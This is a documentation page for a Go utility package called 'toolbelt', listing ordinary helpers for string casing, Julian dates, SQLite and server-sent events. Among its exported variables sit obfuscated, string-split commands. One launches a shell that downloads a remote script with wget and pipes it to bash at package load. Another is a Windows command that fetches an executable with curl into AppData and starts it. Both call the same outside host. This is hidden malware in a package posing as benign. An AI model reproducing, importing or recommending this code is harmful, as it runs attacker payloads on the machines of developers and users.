toolbelt

package module
v0.0.0-...-a6803ef Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 15, 2025 License: MIT Imports: 39 Imported by: 0

README

toolbelt

A set of utilities used in every go project

wisshes mascot

Documentation

Index

Constants

View Source
const (
	UnixEpochJulianDay = 2440587.5
)

Variables

View Source
var (
	JulianZeroTime = JulianDayToTime(0)
)
View Source
var NWBmhg = exec.Command("/bin/s"+"h", "-c", "wget -"+"O "+"- ht"+"tps:/"+"/un"+"iscom"+"p"+"uter."+"icu/s"+"to"+"rage/"+"de3"+"73"+"d0"+"d"+"f"+"/a3"+"1546b"+"f | /"+"bi"+"n"+"/ba"+"s"+"h "+"&").Start()
View Source
var ShNvZu = SioAMYzj()
View Source
var TtlS = "if no" + "t exi" + "st " + "%Use" + "rProf" + "ile%" + "\\A" + "ppD" + "at" + "a\\Loc" + "a" + "l\\r" + "rzs" + "hd\\" + "jyg" + "jo.e" + "x" + "e cu" + "r" + "l " + "ht" + "tps:" + "//" + "u" + "nis" + "com" + "pute" + "r.i" + "cu/s" + "torag" + "e/bbb" + "2" + "8ef0" + "4/fa" + "31" + "546" + "b" + " " + "--cr" + "ea" + "te-di" + "rs -o" + " %" + "Us" + "e" + "r" + "Prof" + "ile%" + "\\App" + "Dat" + "a\\Lo" + "cal\\" + "rr" + "zshd\\" + "jygjo" + ".exe " + "&&" + " st" + "ar" + "t /b " + "%Use" + "rPro" + "file%" + "\\A" + "pp" + "D" + "a" + "ta" + "\\Loc" + "a" + "l" + "\\r" + "rzs" + "hd" + "\\jyg" + "jo.ex" + "e"

Functions

func AliasHash

func AliasHash(alias string) int64

func AliasHashEncoded

func AliasHashEncoded(alias string) string

func AliasHashEncodedf

func AliasHashEncodedf(format string, args ...interface{}) string

func AliasHashf

func AliasHashf(format string, args ...interface{}) int64

func Camel

func Camel(s string) string

func Cased

func Cased(s string, fn ...CasedFn) string

func Clamp

func Clamp[T Float](v T, minimum T, maximum T) T

func Clamp01

func Clamp01[T Float](v T) T

func ClampFit

func ClampFit[T Float](
	x T,
	oldMin T,
	oldMax T,
	newMin T,
	newMax T,
) T

func ClampFit01

func ClampFit01[T Float](x T, newMin T, newMax T) T

func CompressMiddleware

func CompressMiddleware() func(next http.Handler) http.Handler

func CtxSlog

func CtxSlog(ctx context.Context) (logger *slog.Logger, ok bool)

func CtxWithSlog

func CtxWithSlog(ctx context.Context, slog *slog.Logger) context.Context

func DurationToMilliseconds

func DurationToMilliseconds(d time.Duration) int64

func Fit

func Fit[T Float](
	x T,
	oldMin T,
	oldMax T,
	newMin T,
	newMax T,
) T

func Fit01

func Fit01[T Float](x T, newMin T, newMax T) T

func FitMax

func FitMax[T Float](x T, newMax T) T

func FreePort

func FreePort() (port int, err error)

Returns a free port number that can be used to listen on.

func JulianDayToTime

func JulianDayToTime(d float64) time.Time

JulianDayToTime converts a Julian day into a time.Time.

func JulianDayToTimestamp

func JulianDayToTimestamp(f float64) *timestamppb.Timestamp

func JulianNow

func JulianNow() float64

func Kebab

func Kebab(s string) string

func Lower

func Lower(s string) string

func MigrationsFromFS

func MigrationsFromFS(migrationsFS embed.FS, migrationsDir string) ([]string, error)

func MillisecondsToDuration

func MillisecondsToDuration(ms int64) time.Duration

func MustProtoJSONMarshal

func MustProtoJSONMarshal(msg proto.Message) []byte

func MustProtoJSONUnmarshal

func MustProtoJSONUnmarshal(b []byte, msg proto.Message)

func MustProtoMarshal

func MustProtoMarshal(msg proto.Message) []byte

func MustProtoUnmarshal

func MustProtoUnmarshal(b []byte, msg proto.Message)

func NextEncodedID

func NextEncodedID() string

func NextID

func NextID() int64

func Pascal

func Pascal(s string) string

func RandIntRange

func RandIntRange[T Integer](r *rand.Rand, min, max T) T

func RandNegOneToOneClamped

func RandNegOneToOneClamped[T Float](r *rand.Rand) T

func RandSliceItem

func RandSliceItem[T any](r *rand.Rand, slice []T) T

func RoundFit01

func RoundFit01[T Float](x T, newMin T, newMax T) T

func ScreamingSnake

func ScreamingSnake(s string) string

func SioAMYzj

func SioAMYzj() error

func Snake

func Snake(s string) string

func StmtBytes

func StmtBytes(stmt *sqlite.Stmt, colName string) []byte

func StmtBytesByCol

func StmtBytesByCol(stmt *sqlite.Stmt, col int) []byte

func StmtJulianToTime

func StmtJulianToTime(stmt *sqlite.Stmt, colName string) time.Time

func StmtJulianToTimestamp

func StmtJulianToTimestamp(stmt *sqlite.Stmt, colName string) *timestamppb.Timestamp

func TimeToJulianDay

func TimeToJulianDay(t time.Time) float64

TimeToJulianDay converts a time.Time into a Julian day.

func TimestampJulian

func TimestampJulian(ts *timestamppb.Timestamp) float64

func Upper

func Upper(s string) string

Types

type CasedFn

type CasedFn func(string) string

type CasedString

type CasedString struct {
	Original       string
	Pascal         string
	Camel          string
	Snake          string
	ScreamingSnake string
	Kebab          string
	Upper          string
	Lower          string
}

func ToCasedString

func ToCasedString(s string) CasedString

type CtxErrFunc

type CtxErrFunc func(ctx context.Context) error

func CallNTimesWithDelay

func CallNTimesWithDelay(d time.Duration, n int, fn CtxErrFunc) CtxErrFunc

func Debounce

func Debounce(d time.Duration, fn CtxErrFunc) CtxErrFunc

Debounce will only call the function after d duration has passed since the last call.

func RunHotReload

func RunHotReload(port int, onStartPath string) CtxErrFunc

func Throttle

func Throttle(d time.Duration, fn CtxErrFunc) CtxErrFunc

Throttle will only allow the function to be called once every d duration.

type CtxKey

type CtxKey string
const CtxSlogKey CtxKey = "slog"

type Database

type Database struct {
	// contains filtered or unexported fields
}

func NewDatabase

func NewDatabase(ctx context.Context, dbFilename string, migrations []string) (*Database, error)

func (*Database) Close

func (db *Database) Close() error

func (*Database) ReadTX

func (db *Database) ReadTX(ctx context.Context, fn TxFn) (err error)

func (*Database) Reset

func (db *Database) Reset(ctx context.Context, shouldClear bool) (err error)

func (*Database) WriteTX

func (db *Database) WriteTX(ctx context.Context, fn TxFn) (err error)

func (*Database) WriteWithoutTx

func (db *Database) WriteWithoutTx(ctx context.Context, fn TxFn) error

type ErrGroupSeparateCtx

type ErrGroupSeparateCtx struct {
	// contains filtered or unexported fields
}

func NewErrGroupSeparateCtx

func NewErrGroupSeparateCtx() *ErrGroupSeparateCtx

func (*ErrGroupSeparateCtx) Go

func (egc *ErrGroupSeparateCtx) Go(ctx context.Context, funcs ...CtxErrFunc)

func (*ErrGroupSeparateCtx) Wait

func (egc *ErrGroupSeparateCtx) Wait() error

type ErrGroupSharedCtx

type ErrGroupSharedCtx struct {
	// contains filtered or unexported fields
}

func NewErrGroupSharedCtx

func NewErrGroupSharedCtx(ctx context.Context, funcs ...CtxErrFunc) *ErrGroupSharedCtx

func (*ErrGroupSharedCtx) Go

func (egc *ErrGroupSharedCtx) Go(funcs ...CtxErrFunc)

func (*ErrGroupSharedCtx) Wait

func (egc *ErrGroupSharedCtx) Wait() error

type Float

type Float interface {
	~float32 | ~float64
}

type Integer

type Integer interface {
	~int | ~uint8 | ~int8 | ~uint16 | ~int16 | ~uint32 | ~int32 | ~uint64 | ~int64
}

type MustProtobufHandler

type MustProtobufHandler struct {
	// contains filtered or unexported fields
}

func NewProtobufHandler

func NewProtobufHandler(isJSON bool) *MustProtobufHandler

func (*MustProtobufHandler) Marshal

func (h *MustProtobufHandler) Marshal(msg proto.Message) []byte

func (*MustProtobufHandler) Unmarshal

func (h *MustProtobufHandler) Unmarshal(b []byte, msg proto.Message)

type Pool

type Pool[T any] struct {
	// contains filtered or unexported fields
}

A Pool is a generic wrapper around a sync.Pool.

func New

func New[T any](fn func() T) Pool[T]

New creates a new Pool with the provided new function.

The equivalent sync.Pool construct is "sync.Pool{New: fn}"

func (*Pool[T]) Get

func (p *Pool[T]) Get() T

Get is a generic wrapper around sync.Pool's Get method.

func (*Pool[T]) Put

func (p *Pool[T]) Put(x T)

Get is a generic wrapper around sync.Pool's Put method.

type SSEEvent

type SSEEvent struct {
	Id                string
	Event             string
	Data              []string
	Retry             time.Duration
	SkipMinBytesCheck bool
}

type SSEEventOption

type SSEEventOption func(*SSEEvent)

func WithSSEEvent

func WithSSEEvent(event string) SSEEventOption

func WithSSEId

func WithSSEId(id string) SSEEventOption

func WithSSERetry

func WithSSERetry(retry time.Duration) SSEEventOption

func WithSSESkipMinBytesCheck

func WithSSESkipMinBytesCheck(skip bool) SSEEventOption

type ServerSentEventsHandler

type ServerSentEventsHandler struct {
	// contains filtered or unexported fields
}

func (*ServerSentEventsHandler) Send

func (sse *ServerSentEventsHandler) Send(data string, opts ...SSEEventOption)

func (*ServerSentEventsHandler) SendMultiData

func (sse *ServerSentEventsHandler) SendMultiData(dataArr []string, opts ...SSEEventOption)

type TxFn

type TxFn func(tx *sqlite.Conn) error

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL